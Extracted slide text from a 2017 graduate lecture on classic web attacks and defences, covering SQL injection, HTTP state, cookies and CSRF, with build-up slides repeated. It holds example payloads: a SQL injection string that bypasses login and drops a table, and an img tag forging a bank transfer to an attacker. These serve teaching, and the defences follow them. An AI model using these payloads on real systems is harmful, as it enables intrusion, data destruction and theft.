241
CLASSIC WEB ATKS & DEFS GRAD SEC SEP 19 2017
CLASSICWEB ATKS & DEFS
GRAD SECSEP 19 2017
TODAY’S PAPERS
A very basic web architecture
Client Server
A very basic web architecture
Client Server
A very basic web architecture
Client Server
A very basic web architecture
Browser Web server
Client Server
A very basic web architecture
Browser Web server
Database
Client Server
A very basic web architecture
Browser Web server
Database
Client Server
(Private) Data
A very basic web architecture
Browser Web server
Database
Client Server
(Private) Data
DB is a separate entity,logically (and often physically)
SQL security
Databases• Provide data storage & data manipulation
• Database designer lays out the data into tables
• Programmers query the database
• Database Management Systems (DBMSes) provide • semantics for how to organize data • transactions for manipulating data sanely • a language for creating & querying data
- and APIs to interoperate with other languages • management via users & permissions
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Table
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Table name
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Column
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Row(Record)
Databases: basicsUsers
Name Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
Database transactionsTransactions are the unit of work on a database
Database transactionsTransactions are the unit of work on a database
“Deduct $100 from Alice; Add $100 to Bob”
“Give me everyone in the User table who is listed as taking CMSC414 in the Classes table”
Database transactionsTransactions are the unit of work on a database
“Deduct $100 from Alice; Add $100 to Bob”
“Give me everyone in the User table who is listed as taking CMSC414 in the Classes table” 2 reads
2 writes
Database transactionsTransactions are the unit of work on a database
“Deduct $100 from Alice; Add $100 to Bob”
“Give me everyone in the User table who is listed as taking CMSC414 in the Classes table”
1 transaction2 reads
2 writes
Database transactions
• Typically want ACID transactions • Atomicity: Transactions complete entirely or not at all • Consistency: The database is always in a valid state
(but not necessarily correct) • Isolation: Results from a transaction aren’t visible
until it is complete • Durability: Once a transaction is committed, it
remains, despite, e.g., power failures
Transactions are the unit of work on a database
“Deduct $100 from Alice; Add $100 to Bob”
“Give me everyone in the User table who is listed as taking CMSC414 in the Classes table”
1 transaction2 reads
2 writes
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’;
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is a comment
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is a comment
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is a comment
INSERT INTO Users Values(‘Frank’, ‘M’, 57, ...);
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is a comment
INSERT INTO Users Values(‘Frank’, ‘M’, 57, ...);
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is a comment
INSERT INTO Users Values(‘Frank’, ‘M’, 57, ...);DROP TABLE Users;
SQL (Standard Query Language)
UsersName Gender Age Email PasswordDee F 28 [email protected] j3i8g8haMac M 7 [email protected] a0u23bt
Charlie M 32 [email protected] 0aergjaDennis M 28 [email protected] 1bjb9a93Frank M 57 [email protected] ziog9gga
SELECT Age FROM Users WHERE Name=‘Dee’; 28UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is a comment
INSERT INTO Users Values(‘Frank’, ‘M’, 57, ...);DROP TABLE Users;
Server-side code
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
Website
“Login code” (php)
Suppose you successfully log in as $user if this query returns any rows whatsoever
Server-side code
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
Website
“Login code” (php)
Suppose you successfully log in as $user if this query returns any rows whatsoever
How could you exploit this?
SQL injection
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
SQL injection
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
frank’ OR 1=1); --
SQL injection
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
frank’ OR 1=1); --
$result = mysql_query(“select * from Users where(name=‘frank’ OR 1=1); --
and password=‘whocares’);”);
SQL injection
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
frank’ OR 1=1); DROP TABLE Users; --
Can chain together statements with semicolon:STATEMENT 1 ; STATEMENT 2
SQL injection
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
frank’ OR 1=1); DROP TABLE Users; --
$result = mysql_query(“select * from Users where(name=‘frank’ OR 1=1); DROP TABLE Users; --
‘ and password=‘whocares’);”);
Can chain together statements with semicolon:STATEMENT 1 ; STATEMENT 2
SQL injection
Buffer “errors”
XSS
CSRF
SQL injection
Buffer “errors”
XSS
CSRF
SQL injection countermeasures• Blacklisting: Delete the characters you don’t want
• ’ • -- • ;
• Downside: “Peter O’Connor” • You want these characters sometimes! • How do you know if/when the characters are bad?
SQL injection countermeasures
• Check that the user-provided input is in some set of values known to be safe • Integer within the right range
• Given an invalid input, better to reject than to fix • “Fixes” may introduce vulnerabilities • Principle of fail-safe defaults
• Downside: • Um.. Names come from a well-known dictionary?
1. Whitelisting
SQL injection countermeasures
• Escape characters that could alter control • ’ ⇒ \’ • ; ⇒ \; • - ⇒ \- • \ ⇒ \\
• Hard by hand, but there are many libs & methods • magic_quotes_gpc = On • mysql_real_escape_string()
• Downside: Sometimes you want these in your SQL!
2. Escape characters
The underlying issue
• This one string combines the code and the data
• Similar to buffer overflows:
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
When the boundary between code and data blurs,we open ourselves up to vulnerabilities
The underlying issue$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
select / from / where
* Users and
=
name $user
=
password $pass
The underlying issue$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
select / from / where
* Users and
=
name $user
=
password $pass$user
SQL injection countermeasures
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
3. Prepared statements & bind variablesKey idea: Decouple the code and the data
SQL injection countermeasures
$db = new mysql(“localhost”, “user”, “pass”, “DB”);
$statement = $db->prepare(“select * from Userswhere(name=? and password=?);”);
$statement->bind_param(“ss”, $user, $pass);$statement->execute();
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
3. Prepared statements & bind variablesKey idea: Decouple the code and the data
SQL injection countermeasures
$db = new mysql(“localhost”, “user”, “pass”, “DB”);
$statement = $db->prepare(“select * from Userswhere(name=? and password=?);”);
$statement->bind_param(“ss”, $user, $pass);$statement->execute();
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
Bind variables
3. Prepared statements & bind variablesKey idea: Decouple the code and the data
SQL injection countermeasures
$db = new mysql(“localhost”, “user”, “pass”, “DB”);
$statement = $db->prepare(“select * from Userswhere(name=? and password=?);”);
$statement->bind_param(“ss”, $user, $pass);$statement->execute();
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
Bind variables
Bind variables are typed
3. Prepared statements & bind variablesKey idea: Decouple the code and the data
SQL injection countermeasures
$db = new mysql(“localhost”, “user”, “pass”, “DB”);
$statement = $db->prepare(“select * from Userswhere(name=? and password=?);”);
$statement->bind_param(“ss”, $user, $pass);$statement->execute();
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
Bind variables
Bind variables are typed
Decoupling lets us compile now, before binding the data
3. Prepared statements & bind variablesKey idea: Decouple the code and the data
The underlying issue$statement = $db->prepare(“select * from Users
where(name=? and password=?);”);
select / from / where
* Users and
=
name ?
=
password ?$user $pass
The underlying issue$statement = $db->prepare(“select * from Users
where(name=? and password=?);”);
select / from / where
* Users and
=
name ?
=
password ?
The underlying issue$statement = $db->prepare(“select * from Users
where(name=? and password=?);”);
select / from / where
* Users and
=
name ?
=
password ?
Prepare is only appliedto the leaves, so thestructure of the treeis fixed
Mitigating the impact• Limit privileges
• Can limit commands and/or tables a user can access - Allow SELECT queries on Orders_Table but not on
Creditcards_Table • Follow the principle of least privilege • Incomplete fix, but helpful
• Encrypt sensitive data stored in the database • May not need to encrypt Orders_Table • But certainly encrypt Creditcards_Table.cc_numbers
Web security
A very basic web architecture
Browser Web server
Database
Client Server
(Private) Data
DB is a separate entity,logically (and often physically)
A very basic web architecture
Browser Web server
Database
Client Server
(Private) Data
DB is a separate entity,logically (and often physically)
(Much) user data ispart of the browser
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Protocolftphttpstor
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Hostname/serverTranslated to an IP address by DNS (more on this later)
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Path to a resource
Here, the file home.html is static content i.e., a fixed file returned by the server
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Path to a resource
Here, the file home.html is static content i.e., a fixed file returned by the server
http://facebook.com/delete.php
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Path to a resource
Here, the file home.html is static content i.e., a fixed file returned by the server
http://facebook.com/delete.php
Path to a resourceHere, the file home.html is dynamic content
i.e., the server generates the content on the fly
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Path to a resource
Here, the file home.html is static content i.e., a fixed file returned by the server
http://facebook.com/delete.php
Here, the file home.html is dynamic content i.e., the server generates the content on the fly
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Path to a resource
Here, the file home.html is static content i.e., a fixed file returned by the server
http://facebook.com/delete.php
Here, the file home.html is dynamic content i.e., the server generates the content on the fly
?f=joe123&w=16
Interacting with web servers
http://www.cs.umd.edu/~dml/home.html
Get and put resources which are identified by a URL
Path to a resource
Here, the file home.html is static content i.e., a fixed file returned by the server
http://facebook.com/delete.php
Here, the file home.html is dynamic content i.e., the server generates the content on the fly
?f=joe123&w=16
Arguments
Basic structure of web traffic
Browser Web server
Client Server
Database(Private) Data
Basic structure of web traffic
Browser Web server
Client Server
Basic structure of web traffic
Browser Web server
Client Server
HTTP
Basic structure of web traffic
Browser Web server
Client Server
• HyperText Transfer Protocol (HTTP) • An “application-layer” protocol for exchanging
collections of data
HTTP
Basic structure of web traffic
Browser Web server
Client Server
Basic structure of web traffic
Browser Web server
Client Server
User clicks
Basic structure of web traffic
Browser Web server
Client Server
HTTP Request
User clicks
Basic structure of web traffic
Browser Web server
Client Server
HTTP Request
User clicks
• Requests contain: • The URL of the resource the client wishes to obtain • Headers describing what the browser can do
• Requests be GET or POST • GET: all data is in the URL itself (supposed to have no side-effects) • POST: includes the data as separate fields (can have side-effects)
HTTP GET requestshttp://www.reddit.com/r/security
User-Agent is typically a browser but it can be wget, JDK, etc.
Referrer URL: the site from whichthis request was issued.
HTTP POST requestsPosting on Piazza
HTTP POST requestsPosting on Piazza
HTTP POST requestsPosting on Piazza
Implicitly includes dataas a part of the URL
HTTP POST requestsPosting on Piazza
Explicitly includes data as a part of the request’s content
Implicitly includes dataas a part of the URL
Basic structure of web traffic
Browser Web server
Client Server
HTTP Request
User clicks
Basic structure of web traffic
Browser Web server
Client Server
User clicks
Basic structure of web traffic
Browser Web server
Client Server
User clicks
HTTP Response
Basic structure of web traffic
Browser Web server
Client Server
User clicks
• Responses contain: • Status code • Headers describing what the server provides • Data • Cookies
• State it would like the browser to store on the site’s behalf
HTTP Response
<html> …… </html>
HTTP responses
<html> …… </html>
Hea
ders
Dat
aHTTP
versionStatuscode
Reasonphrase
HTTP responses
HTTP is stateless• The lifetime of an HTTP session is typically:
• Client connects to the server • Client issues a request • Server responds • Client issues a request for something in the response • …. repeat …. • Client disconnects
• HTTP has no means of noting “oh this is the same client from that previous session”
• With this alone, you’d have to log in at every page load
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Request
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Request
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Response
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Response
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Response
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Request
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Request
State
Maintaining state across HTTP sessions
• Server processing results in intermediate state
• Send the state to the client in hidden fields
• Client returns the state in subsequent responses
Browser Web server
Client Server
HTTP Request
State
Online orderingOrder
$5.50
Order
Pay
The total cost is $5.50.Confirm order?
Yes No
socks.comsocks.com
Separate page
<html><head> <title>Pay</title> </head><body>
<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>
</body></html>
Online orderingWhat’s presented to the user
<html><head> <title>Pay</title> </head><body>
<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>
</body></html>
Online orderingWhat’s presented to the user
Online ordering
if(pay == yes && price != NULL){
bill_creditcard(price);deliver_socks();
}else
display_transaction_cancelled_page();
The corresponding backend processing
Online ordering
if(pay == yes && price != NULL){
bill_creditcard(price);deliver_socks();
}else
display_transaction_cancelled_page();
The corresponding backend processing
<html><head> <title>Pay</title> </head><body>
<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>
</body></html>
Online orderingWhat’s presented to the user
<html><head> <title>Pay</title> </head><body>
<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>
</body></html>
Online orderingWhat’s presented to the user
value=“0.01”
Minimizing trust in the client
<html><head> <title>Pay</title> </head><body>
<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>
</body></html>
What’s presented to the user
Minimizing trust in the client
<html><head> <title>Pay</title> </head><body>
<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>
</body></html>
<input type=“hidden” name=“sid” value=“781234”>
What’s presented to the user
Minimizing trust in the client
price = lookup(sid);if(pay == yes && price != NULL){
bill_creditcard(price);deliver_socks();
}else
display_transaction_cancelled_page();
The corresponding backend processing
Minimizing trust in the client
price = lookup(sid);if(pay == yes && price != NULL){
bill_creditcard(price);deliver_socks();
}else
display_transaction_cancelled_page();
The corresponding backend processing
We don’t want to pass hidden fields around all the time
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Request
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Request
State
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Request
State
Cookie
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
State
Cookie
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Response
State
Cookie
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Response
Cookie State
Cookie
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Response
Cookie State
Cookie
Cookie
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Response
Cookie State
Cookie
Cookie
Server
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
State
Cookie
Cookie
Server
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Request
State
Cookie
Cookie
Server
Statefulness with Cookies
• Server stores state, indexes it with a cookie
• Send this cookie to the client
• Client stores the cookie and returns it with subsequent queries to that same server
Browser Web server
Client Server
HTTP Request
State
Cookie
Cookie
Server
Cookie
<html> …… </html>
Hea
ders
Dat
a
Set-Cookie:key=value; options; ….Cookies are key-value pairs
<html> …… </html>
Hea
ders
Dat
a
Set-Cookie:key=value; options; ….Cookies are key-value pairs
Cookies
Browser
Client
(Private) Data
Semantics
Cookies
Browser
Client
(Private) Data
• Store “us” under the key “edition” (think of it like one big hash table)
Semantics
Cookies
Browser
Client
(Private) Data
• Store “us” under the key “edition” (think of it like one big hash table)
• This value is no good as of Wed Feb 18…
Semantics
Cookies
Browser
Client
(Private) Data
• Store “us” under the key “edition” (think of it like one big hash table)
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
Semantics
Cookies
Browser
Client
(Private) Data
• Store “us” under the key “edition” (think of it like one big hash table)
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
• This should be available to any resource within a subdirectory of /
Semantics
Cookies
Browser
Client
(Private) Data
• Store “us” under the key “edition” (think of it like one big hash table)
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
• This should be available to any resource within a subdirectory of /
• Send the cookie to any future requests to <domain>/<path>
Semantics
Cookies
Browser
Client
(Private) Data
• Store “us” under the key “edition” (think of it like one big hash table)
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
• This should be available to any resource within a subdirectory of /
• Send the cookie to any future requests to <domain>/<path>
Semantics
Requests with cookies
Subsequent visit
…
Requests with cookies
Subsequent visit
…
Res
pons
e
Requests with cookies
Subsequent visit
…
Res
pons
e
Why use cookies?• Personalization
• Let an anonymous user customize your site • Store font choice, etc., in the cookie
Why use cookies?• Tracking users
• Advertisers want to know your behavior • Ideally build a profile across different websites
- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?
Why use cookies?• Tracking users
• Advertisers want to know your behavior • Ideally build a profile across different websites
- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?
S shows you an ad from A; A scrapes the referrer URL
Why use cookies?• Tracking users
• Advertisers want to know your behavior • Ideally build a profile across different websites
- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?
S shows you an ad from A; A scrapes the referrer URL
Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change
Why use cookies?• Tracking users
• Advertisers want to know your behavior • Ideally build a profile across different websites
- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?
S shows you an ad from A; A scrapes the referrer URL
Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change
Option 2: A maintains a DB indexed by a cookie
- “Third-party cookie”- Commonly used by large
ad networks (doubleclick)
Ad provided byan ad network
I visit reddit.com
Later, I go to reddit.com/r/security
We are only sharing this cookie with *.adzerk.net; but we are telling them
about where we just came from
Cookies and web authentication• An extremely common use of cookies is to
track users who have already authenticated
• If the user already visitedhttp://website.com/login.html?user=alice&pass=secretwith the correct password, then the server associates a “session cookie” with the logged-in user’s info
• Subsequent requests (GET and POST) include the cookie in the request headers and/or as one of the fields:http://website.com/doStuff.html?sid=81asf98as8eak
• The idea is for the server to be able to say “I am talking to the same browser that authenticated Alice earlier.”
Cookies and web authentication• An extremely common use of cookies is to
track users who have already authenticated
• If the user already visitedhttp://website.com/login.html?user=alice&pass=secretwith the correct password, then the server associates a “session cookie” with the logged-in user’s info
• Subsequent requests (GET and POST) include the cookie in the request headers and/or as one of the fields:http://website.com/doStuff.html?sid=81asf98as8eak
• The idea is for the server to be able to say “I am talking to the same browser that authenticated Alice earlier.”
Attacks?
Cross-Site Request Forgery (CSRF)
URLs with side-effects
• GET requests should have no side-effects, but often do
• What happens if the user is logged in with an active session cookie and visits this link?
• How could you possibly get a user to visit this link?
http://bank.com/transfer.cgi?amt=9999&to=attacker
Exploiting URLs with side-effects
Browser
Client attacker.com
Exploiting URLs with side-effects
Browser
Client
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
attacker.com
Exploiting URLs with side-effects
Browser
Client
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
attacker.com
Browser automaticallyvisits the URL to obtainwhat it believes will be an image.
Exploiting URLs with side-effects
Browser
Client
bank.com
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
attacker.com
Browser automaticallyvisits the URL to obtainwhat it believes will be an image.
Exploiting URLs with side-effects
Browser
Client
bank.com
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
http://bank.com/
transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automaticallyvisits the URL to obtainwhat it believes will be an image.
Exploiting URLs with side-effects
Browser
Client
bank.com
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
http://bank.com/
transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automaticallyvisits the URL to obtainwhat it believes will be an image.
Cookie
bank.com
Exploiting URLs with side-effects
Browser
Client
bank.com
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
http://bank.com/
transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automaticallyvisits the URL to obtainwhat it believes will be an image.
Cookie
bank.com
Cookie
Exploiting URLs with side-effects
Browser
Client
bank.com
<img src=“
http://ban
k.com/
transfer.c
gi?amt=999
9&to=attac
ker”>
http://bank.com/
transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automaticallyvisits the URL to obtainwhat it believes will be an image.
Cookie
bank.com
Cookie
$$$
Login CSRF
Login CSRF
Cross-Site Request Forgery• Target: User who has some sort of account on a vulnerable
server where requests from the user’s browser to the server have a predictable structure
• Attack goal: make requests to the server via the user’s browser that look to the server like the user intended to make them
• Attacker tools: ability to get the user to visit a web page under the attacker’s control
• Key tricks: • Requests to the web server have predictable structure • Use of something like <img src=…> to force the victim to send it
CSRF protections• Client-side:
CSRF protections• Client-side:
Disallow one site to link to another??
The loss of functionality would be too high
CSRF protections• Client-side:
Disallow one site to link to another??
The loss of functionality would be too high
Let’s consider server-side protections
Secret validation tokens• Include a secret validation token in the request
• Must be difficult for an attacker to predict
• Options: • Random session ID
- Stored as cookie (“session independent nonce”) - Stored at server (“session-dependent nonce”)
• The session cookie itself (“session identifier”)http://website.com/doStuff.html?sid=81asf98as8eak
• HMAC of the cookie - As unique as session cookie, but learning the HMAC doesn’t
reveal the cookie itself
Referrer URLs
Referrer URLsIdea: Only allow certain actions if the referrer URL is from this site, as well
Referrer URLsIdea: Only allow certain actions if the referrer URL is from this site, as well
Problem: Often suppressed
Custom headers
Custom headersSecurity through obscurity
Custom headersSecurity through obscurity
Include precisely what is needed to identify the principal who referred
Custom headersSecurity through obscurity
Include precisely what is needed to identify the principal who referred
Origin headers: More private Referrer headers
Custom headersSecurity through obscurity
Include precisely what is needed to identify the principal who referred
Origin headers: More private Referrer headers
http://foo.com/embarrassing.html?data=oops
Custom headersSecurity through obscurity
Include precisely what is needed to identify the principal who referred
Origin headers: More private Referrer headers
http://foo.com/embarrassing.html?data=oops
Custom headersSecurity through obscurity
Include precisely what is needed to identify the principal who referred
Origin headers: More private Referrer headers
http://foo.com/embarrassing.html?data=oops
Send only for POST requests
How can you steal a session cookie?
Browser Web server
Client Server
Cookie State
Cookie
Cookie
Server
Cookie
How can you steal a session cookie?
• Compromise the user’s machine / browser
• Sniff the network
• DNS cache poisoning • Trick the user into thinking you are Facebook • The user will send you the cookie
Browser Web server
Client Server
Cookie State
Cookie
Cookie
Server
Cookie
How can you steal a session cookie?
• Compromise the user’s machine / browser
• Sniff the network
• DNS cache poisoning • Trick the user into thinking you are Facebook • The user will send you the cookie
Network-based attacks (more later)
Browser Web server
Client Server
Cookie State
Cookie
Cookie
Server
Cookie
Stealing users’ cookies
